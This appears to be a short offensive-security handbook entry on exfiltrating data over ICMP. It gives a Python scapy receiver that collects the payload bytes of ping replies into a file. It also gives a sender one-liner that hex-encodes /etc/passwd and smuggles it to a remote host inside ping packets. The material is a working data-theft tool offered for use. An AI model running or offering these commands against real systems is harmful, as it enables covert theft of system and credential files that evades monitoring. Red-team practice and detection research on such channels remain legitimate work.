ICMP Exfiltration

icmp_exfiltration.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from scapy.all import sniff, ICMP


def process_packet(packet):
    if packet.haslayer(ICMP) and packet[ICMP].type == 0:
        data = packet[ICMP].load[-8:]
        try:
            print(f"{data.decode('utf-8')}", end="")
        except UnicodeDecodeError:
            pass

        with open("./exfil", "a+b") as f:
            f.write(data)


if __name__ == "__main__":
    sniff(iface="wlp3s0", prn=process_packet)

ICMP Exfiltration Receiver

Sender:

xxd -p -c 8 /etc/passwd | while read h; do ping -c 1 -p $h 10.0.0.3; done

More in: https://0xffsec.com/handbook/exfiltration/#icmp